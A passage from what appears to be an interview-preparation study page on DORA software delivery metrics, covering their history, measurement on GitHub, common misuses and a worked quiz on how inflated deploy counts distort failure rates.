Failed deployment recovery time: median 2.1 h (1.7, 2.5)
Deployment rework rate: 2/6 deploys = 33%
What’s happening
  1. The script builds a real repository: seven commits and six deploy-N annotated tags, each with a fixed date (and fixed names, so the hashes are the same on every run). deploy-6 is a rollback: it tags deploy-4's commit again, which is why git log --decorate shows two tags on "Export devices as CSV".
  2. Deployment frequency: six tags between 6 and 13 October, 7.1 days, is 5.9 deploys per week. It's counted from deploy events (the tags), not from merges.
  3. Change lead time: for each tag, git log <previous>..<tag> lists the commits that deploy shipped for the first time, and each commit's lead time is the tag time minus its commit time. The seven values are 25, 19, 5, 0.7, 49, 26 and 24.5 hours; the median is 24.5. Use the median (or percentiles), not the mean: one commit that waited over a weekend shouldn't hide the typical case, and the max (49 h, "Firmware version column" waiting from Wednesday to Friday) is the one to ask about.
  4. Change fail rate: two of six deploys (deploy-2, deploy-5) needed immediate intervention: 33%. Failed deployment recovery time is measured from the bad deploy to the restore: 1.7 h (a fix-forward) and 2.5 h (a rollback), median 2.1 h.
  5. Deployment rework rate: deploy-3 (the fix) and deploy-6 (the rollback) only happened because of incidents: 2 of 6, 33%. This is the 2024 addition, and it's useful because it shows up even when a team "recovers fast": a team that ships a fix every other deploy is busy, not productive.
  6. Notice what's not an input: lines of code, story points, number of commits per person. DORA measures the delivery system of a team and its application, not individuals.
AdvancedWhere the five metrics came from

dora.dev's history of the metrics (2 January 2026) traces them: the 2014 study started with deployment frequency, lead time for changes, mean time to recover and change fail rate; in 2015 they were grouped as throughput and stability; 2018 added availability (later broadened to reliability in 2021, which measures operations rather than delivery, so it's not one of the delivery metrics); in 2023 mean time to recover was redefined as failed deployment recovery time, so it only counts recovery from failures caused by a change, not outages in general; and in 2024 deployment rework rate was added and the five were grouped as throughput and instability.

The 2025 report was renamed "State of AI-assisted Software Development" (announced 23 September 2025, nearly 5,000 respondents). Two findings worth knowing (Google Cloud's announcement, 23 September 2025): AI adoption now has a positive relationship with throughput but still a negative one with delivery stability ("AI doesn't fix a team; it amplifies what's already there"), and a cluster analysis describes seven team profiles, from "harmonious high-achievers" to teams in a "legacy bottleneck", instead of leading with the low/medium/high/elite performance tiers of earlier reports. Whether those tiers are gone for good isn't stated, so if an interviewer mentions "elite performers", say the 2025 report frames teams as profiles instead, rather than that the term is retired. The DORA research page lists no 2026 report as of 27 October 2026.

AdvancedMeasuring them on GitHub
  • Deployments: every job with environment: production creates a deployment record (Deployments API and the repository's Environments page), with the commit SHA and status. That's deployment frequency for free, and the deploy time for lead time.
  • Lead time: for each production deployment, the commits between it and the previous one (git log prev..this, or the compare API), minus each commit's time. Decide once whether "committed" means the first commit on the branch or the merge to main, write it down, and keep it.
  • Failures and recovery: link incidents to the deployment that caused them (an incident template field, or a label on the revert PR), and record the restore time. Without that link, change fail rate is a guess.
  • Rework: tag unplanned deploys (hotfix, rollback, emergency config) in the deploy workflow's workflow_dispatch inputs or in the incident record.
  • Many vendors automate this. Google's open-source Four Keys project (dora-team/fourkeys) was the reference implementation, but it covers only the original four metrics and its repository is archived (read-only); the definitions matter more than the tool.
AdvancedHow the metrics get misused

dora.dev's metrics guide (last updated 5 January 2026) has a "pitfalls" list, and it's good interview material. In its order, paraphrased:

  • Setting the metrics as goals. A mandate such as "every application deploys several times a day" invites gaming; the guide names Goodhart's law (a measure that becomes a target stops being a good measure). Teams split one deploy into five, or stop counting rollbacks as failures.
  • One metric to rule them all. A single number misses how the system behaves; track several, including some in "a healthy amount of tension" with each other. Throughput without instability rewards recklessness; failure rate alone rewards never deploying.
  • Using the industry as a shield. "We're regulated, we can't deploy often" becomes a reason never to improve.
  • Making disparate comparisons. The metrics are meant for one application or service at a time; comparing a mobile app with a mainframe (or a device firmware team with a web team) misleads.
  • Siloed ownership. Development, operations and release teams should share all five; split ownership breeds blame.
  • Competing. The goal is a team improving on its own past, not beating other teams.
  • Measuring instead of improving. Don't spend months on a perfect dashboard; start with a conversation and the data you have. What you change is the capabilities DORA links to the metrics (trunk-based development, continuous integration, test automation, loosely coupled architecture, small batches).

One more that the guide doesn't list but that follows from it: don't rate individuals with these numbers. They describe a team's delivery system, and putting them in someone's performance review destroys the honesty of the data.

AdvancedPitfall: counting the wrong events
The numbers improved. Did delivery?

A team is told to raise deployment frequency. Last quarter it made 100 production deploys; this quarter it makes 400. Change lead time is unchanged, change fail rate falls from 20% to 5%, and deployment rework rate falls from 5% to 1.25%. The incident tracker shows 20 deploy-caused incidents in both quarters, and 5 unplanned (hotfix or rollback) deploys in both. What probably happened?

Show answer

Most likely the team split each release into several deploys (often config-only or no-op ones) without changing how fast work flows or how often things break. Both instability rates fell only because the same failures are divided by four times as many deploys.

What’s happening
  1. If changes really got smaller and flowed faster, lead time would fall too: code would wait less between commit and production. It didn't move, so the work isn't moving faster.
  2. Change fail rate is failed deploys ÷ all deploys: 20 / 100 = 20% before, 20 / 400 = 5% after. Same 20 failures, a quarter of the rate, no improvement in quality.
  3. Rework rate is unplanned deploys ÷ all deploys: 5 / 100 = 5% before, 5 / 400 = 1.25% after. The same 5 hotfixes and rollbacks, so the team isn't cleaning up any less; the denominator grew.
  4. That's the tell: both rates fell by exactly the factor the deploy count rose (four), while the counts behind them (20 incidents, 5 unplanned deploys) and lead time didn't move. Real improvement shows up in the counts and in lead time, not only in a ratio.
  5. The lesson is DORA's own: read the five together, as trends for one service, and don't make one of them a target. The useful next question is "what stops a commit getting to production faster?", which is about lead time, reviews and the pipeline, not the deploy count.

Written fresh for a lead full stack role. Git examples were run; GitHub Actions workflows were checked with actionlint. Behavioural stories are yours to write in My notes.

RohitDownloads · All chapters

Sync progress across devices

Type the same private phrase on your Mac and your phone, and your Learned ticks follow you between them — on every study site.

The phrase never leaves this device: only a fingerprint of it is sent, and the server stores a fingerprint of that. Anyone who knows the phrase could see or change your ticks, so pick something you don’t use elsewhere.

Sync is on in this browser.

Sync ID

This ID must be the same on every device. If another device shows a different one, its phrase is different (capital letters count): tap “Turn off here” on it and type the phrase again exactly.